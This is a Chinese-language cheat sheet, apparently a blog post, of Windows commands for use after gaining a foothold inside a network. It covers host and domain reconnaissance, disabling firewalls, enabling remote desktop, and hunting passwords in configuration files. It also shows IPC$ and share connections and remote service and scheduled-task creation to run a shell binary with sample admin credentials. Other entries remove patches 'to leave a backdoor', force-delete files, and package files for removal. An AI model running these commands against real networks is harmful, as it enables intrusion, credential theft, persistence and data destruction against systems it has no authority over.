提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
通过某途径获得的内网机器,确定他在内网后,首先对该机器进行信息收集,了解这台机器的所属人员,在内网里的权限。分析是一般的内网,还是域?要想进一步渗透,就必须了解该环境网络拓扑。不管它是INT,DMZ,LAN,我们必须足够掌握。下面为大家介绍,我们常用的内网命令。
#常用信息#
ipconfig /all #查看本机ip,所在域
systeminfo #查看系统信息
netstat -ano #查看开放端口
netstat -ano | findstr “8080” #查看端口对应的PID
tasklist | findstr “8080” #查看端口对应的服务
netsh firewall show state #防火墙状态
netsh firewall show config #查看防火墙配置
netsh firewall set opmode disable #关闭 防火墙(Win2003之前)
netsh advfirewall show allprofile state #查看当前启用的防火墙配置(Win2003以后)
netsh advfirewall set allprofiles state off/on #关闭/打开防火墙(Win2003之后)
wmic qfe get Caption,Description,HotFixID,InstalledOn #查看补丁信息
net user #查看本机用户列表
net localgroup administrators #查看本地管理员组
ipconfig /displaydns #查看本地DNS缓存
#网络连接#
net start # 查看本机运行的所有服务
netstat -ano #查看本机所有的tcp,udp端口连接及其对应的pid
netstat -anob #查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
netstat -ano | findstr “ESTABLISHED” #查看当前正处于连接状态的端口及ip
netstat -ano | findstr “LISTENING” #查看当前正处于监听状态的端口及ip
netstat -ano | findstr “TIME_WAIT”
#系统信息#
echo %PROCESSOR_ARCHITECTURE% #查看系统架构
systeminfo | findstr /B /C:“OS Name” /C:“OS Version” #查看系统版本
net statistics workstation #查看主机开机时间
schtasks /query /fo LIST /v #显示所有计划任务
wmic product get name,version #查看安装的程序和版本
tasklist #查询运行的进程
taskkill /im QQMusic.exe /f #强制结束进程QQMusic.exe
wmic process list brief
wmic process get processid,executablepath,name #显示进程的路径、名称、pid
wmic service list brief #查看本机服务
cmdkey /l #远程桌面连接历史记录
wmic startuo get command,caption #查看自启动程序列表
#系统命令#
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启远程桌面(注册表)
netsh firewall add allowedprogram c:\xxx\xx.exe “allow xx” enable #修改防火墙的配置,允许指定程序的全部连接(Win2003以前)
netsh advfirewall firewall add rule name=“pass xx” dir=in action=allow program=“C:\xxx\xx.exe” #允许某个程序连入(Win2003以后)
netsh advfirewall firewall add rule name=“pass xx” dir=out action=allow program=“C:\xxx\xx.exe” #允许某个程序外连(Win2003以后)
netsh advfirewall firewall add rule name=“Remote Desktop” protocol=TCP dir=in #(Win2003以后)
net localgroup “Remote Desktop Users” abc /add #若远程桌面连接不上,那么添加远程桌面组
#操作当前机器的rdp#
利用powershell启用禁用rdp:
C:>powershell -exec bypass
PS C:> Set-ItemProperty -Path ‘HKLM:\System\CurrentControlSet\Control\Terminal Server’-name “fDenyTSConnections” -Value 0
PS C:> Set-ItemProperty -Path ‘HKLM:\System\CurrentControlSet\Control\Terminal Server’-name “fDenyTSConnections” -Value 1
放开防火墙对rdp的限制
netsh advfirewall firewall set rule group=“remote desktop” new enable=yes
netsh advfirewall firewall set rule group=“远程桌面” new enable=yes
#查看本机的路由情况#
route print #打印本机路由信息,可以看到本机所有的网卡接口
arp -a #查找有价值的内网arp 通信记录
netsh int ip delete arpcache # 删除当前机器的arp缓存
tracert 8.8.8.8 #跟踪本机出口ip
query user #查当前机器中正在线的用户,注意管理员此时在不在
net user /domain #查看域用户
net user 用户名 /domain #获取指定域用户的信息
net view /domain #查看有几个域
net group /domain #查看域里面的工作组
net group 组名 /domain # 查看域中某个工作组
net config workstation #查看计算机名、用户名、系统版本、工作站、域、登录域
net group “domain admins” /domain #查看域管理员的名字
net group “domain computers” /domain #查看域中其他主机名
net group “domain controllers” /domain #查看域控制器(存在多台情况)
net view #查看局域网内其他主机
arp -a #查看arp缓存
net start #查看开启哪些服务
net share # 查看开启哪些共享
net share ipc$ # 查看开启ipc共享
net share c$ #开启c盘共享
for /L %i in (1,1,254) do @ping -a 10.10.10.%i -w 1 -n 1 | findstr “TTL=128” >> pinglog.txt #查看同网段其它存活主机
makecab /f list.txt /d compressiontype=lzx /d compressionmemory=21 /d maxdisksize=1024000000 /d diskdirectorytemplate=dd* /d cabinetnametemplate=dd*.cab #批量压缩指定文件,注意,list.txt里存放的是所有要打包文件的绝对路径
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak #在指定目录下搜集各种账号密码
type ad\admin_pass.bak # 查看某个文件内容
del d:\ad*.* /a /s /q /f #强制删除指定路径下的所有文件
tree /F /A D:\ >> file_list.txt # 导出指定路径下的文件目录结构
net use \\192.x.x.x\ipc$ " " /user:" " #与192.x.x.x建立空连接
net use \\192.x.x.x\c$ “密码” /user:“用户名” #与192.x.x.x建立c盘共享
net use p: /del # 用完以后,务必立马删除映射
xcopy d:\sqlitedata*.* \\192.x.x.x\c$\temp /E /Y /D #也可在建立ipc后直接远程拷贝
#依然是在ipc建立后,可直接在远程机器上创建,删除服务,创建服务时需要注意,常规程序需要有返回值,不然启动服务时会报1053错误#
sc \\192.x.x.x create shellsrv binpath= “c:\shell.exe” start= auto displayname= “shellstart”
sc \\192.x.x.x stop shllsrv
sc \\192.x.x.x delete shellsrv
net use \\192.x.x.x\admin$ /del
net use * /del #最后,删除所有ipc,如果系统中还有其它的ipc连接,也可指定只删除自己的
#在远程机器上快速创建删除定时任务,需要指定目标系统的账号密码#
net use \\192.x.x.x\admin$ “admin!@#45” /user:“klionsec\administrator”
net time \\192.x.x.x # 查看目标机器当前时间
net use \\192.x.x.x\admin$ /del
schtasks /create /? # 查看schtasks使用帮助
chcp 437 #如果当前机器是中文系统需要先修改下cmd字符集,默认cmd是gbk,不然后面用schtasks远程创建计划任务时会报错
chcp 936 # 用完以后再把字符集改回来,如果是英文系统就不会有这种问题
schtasks /s 192.x.x.x /u “klionsec\administrator” /p “admin!@#45” /create /TN “shellexec” /SC DAILY /ST 11:18 /F /RL HIGHEST /SD 2022/1/1 /ED 2022/11/11 /TR “C:\shell.exe”
schtasks /s 192.x.x.x /u “klionsec\administrator” /p “admin!@#45” /query | findstr “shell”
schtasks /s 192.x.x.x /u “klionsec\administrator” /p “admin!@#45” /TN “shellexec” /delete
#查看当前机器的进程信息#
tasklist /svc #显示当前机器所有的进程所对应的服务只限于当前用户又权限看到的进程
tasklist /m #显示本地所有进程所调用的dll同样只限于当前用户又权限看到的进程
tasklist /S 192.x.x.x /v /U administrator /P “admin!@#123” #查看远程指定机器的进程列表
tasklist /S 192.x.x.x /v /U KLIONSEC\administrator /P “admin!@#123” #域内可以直接用机器名来代替
taskkill /im calc.exe #用指定进程名的方式结束指定进程
taskkill /S 192.x.x.x /pid 3440 /U KLIONSEC\administrator /P “admin!@#123” #结束远程机器上的指定进程
wusa /uninstall /KB:2999226 /quiet /norestart #不重启卸载指定系统补丁,方便留后门,前提是权限要够
driverquery #查看当前机器安装的驱动列表
restart /r /t 0 #立即重启当前机器
#利用dsquery 工具搜集域内信息,该工具貌似只在域控机器上有,应该是在域的安装包里,你可以把对应系统的这个工具的exe和dll扣出来上传上去用#
dsquery computer #查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个和目标系统版本对应的dsquery
dsquery user # 查看当前域中的所有账户名
dsquery group #查看当前域内的所有组名
dsquery subnet #查看到当前域所在的网段
dsquery site #查看域内所有的web站点
dsquery server #查看当前域中的所有服务器(应该是指域控)
dsquery user domainroot -name admin* -limit 240 #查询前240个以admin开头的用户名
dir c:\ #查看目录
type c:\User\1.txt #查看此文件的信息
echo abc> c:\2.txt #将 abc 写入 2.txt文件中;但是会清空原文件的内容
copy 1.txt 3.txt #复制1.txt的内容到 3.txt
rename c:\1.txt 2.txt #将1.txt 重命名为2.txt
mkdir dir1 #创建文件夹
type nul>test.txt #创建文件(是一个空文件)
echo ‘hello world’ > file.txt #将 hello world 写入文件
rd dir1 #删除目录
del test.txt #删除文件
域渗透最重要的就是对目标信息的掌控!